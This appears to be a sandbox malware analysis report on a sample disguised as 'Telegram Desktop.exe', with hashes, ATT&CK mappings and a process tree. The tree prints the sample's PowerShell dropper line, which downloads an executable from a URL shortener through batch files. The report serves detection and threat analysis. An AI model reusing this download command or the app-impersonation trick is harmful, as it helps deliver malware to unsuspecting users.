6bf297bef2431e24bbbbca085f5774593ae2bce6ada433d59259c5608ad37dcb

General

Target

Telegram Desktop.exe
Size

310KB
MD5

d284f1ffcf65941c59498f41de410168
SHA1

404ec1fca6c6b442e2751d90cdf5cadd76395076
SHA256

6bf297bef2431e24bbbbca085f5774593ae2bce6ada433d59259c5608ad37dcb
SHA512

c25381a6b43b06905ab735f8bf21cae045d010c557f936a0aed3e173080f33d1a2eac17a4b129f972e3a4da674ff37c6c0c35c1dd28ac91ffbcd99d8ae4d8d47
SSDEEP

6144:z8JsLcpjzTDDmHayakLkrb4NSarQW82X+t40XIQ:IzxzTDWikLSb4NS7t2X+t40XIQ

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://tinyurl.com/mmtffwh6

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	2268	powershell.exe
7	2268	powershell.exe
9	2268	powershell.exe
11	2268	powershell.exe
12	2268	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2268	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2268	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2268	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2512 wrote to memory of 2624	2512	Telegram Desktop.exe	31
PID 2512 wrote to memory of 2624	2512	Telegram Desktop.exe	31
PID 2512 wrote to memory of 2624	2512	Telegram Desktop.exe	31
PID 2512 wrote to memory of 2624	2512	Telegram Desktop.exe	31
PID 2624 wrote to memory of 1632	2624	cmd.exe	33
PID 2624 wrote to memory of 1632	2624	cmd.exe	33
PID 2624 wrote to memory of 1632	2624	cmd.exe	33
PID 2624 wrote to memory of 1632	2624	cmd.exe	33
PID 1632 wrote to memory of 2268	1632	cmd.exe	35
PID 1632 wrote to memory of 2268	1632	cmd.exe	35
PID 1632 wrote to memory of 2268	1632	cmd.exe	35
PID 1632 wrote to memory of 2268	1632	cmd.exe	35

C:\Users\Admin\AppData\Local\Temp\Telegram Desktop.exe
"C:\Users\Admin\AppData\Local\Temp\Telegram Desktop.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\helper (2) - Copy.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2624
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K rattesting.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1632
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$webClient = New-Object System.Net.WebClient; try { $webClient.DownloadFile('https://tinyurl.com/mmtffwh6', 'file.exe') } catch { Write-Host 'Error downloading file:' $_.Exception.Message; exit 1 }"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
f929964b5f134485af70fc466642fea8

SHA1
2db4c80a6547a229b42d6884509a616093a524d3

SHA256
64cc83e441833664b1be0f786c0b1df6a07c3f8d2acccc3c5111b6b03493521f

SHA512
4d77651623f4c985e598cb2765d66828db8364dc2f1a487baf8d5f1c3b5eb11f0f2e46285cea5d0bbcbfd6965ec66d75e61d83fbde8a78e1e11015547ecd34b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabE61D.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\helper (2) - Copy.bat

Filesize
20B

MD5
069145d73333ed9d219339186ed8ca33

SHA1
554c3c0dc21aa5c6ca597642f2c74ead40ad884d

SHA256
9e44ad759678d4ac99a43dee65ef90b356422f23f2262c0bfba8fe954c4bdc45

SHA512
98b4bd600d2404a379285f5971679b2510020ed6e4d466d1a4739e01119c7fc6d1573a9cf3d7391e69d4618f04fd5e48f9b0bc81f7980ba86524dfb869e27474

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\rattesting.bat

Filesize
672B

MD5
c328b8f4fb1cac09c058b8234731f27f

SHA1
ebb8c4b9511b9b1db84fc57ef7556c8361828196

SHA256
fa193e36179088f3e714f47e85b9d5fe6fb48e74cfb7910bb843a2fb8775fa73

SHA512
d0078ff0d2233ef7e4ee5bbf65ccb449a519e2fa637fc357447418467682ea61bd63969bff2d7ede388bb0423e8733364484f6449ab405c82aa17acc7f153d68

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarE68D.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit

Analysis

Sharing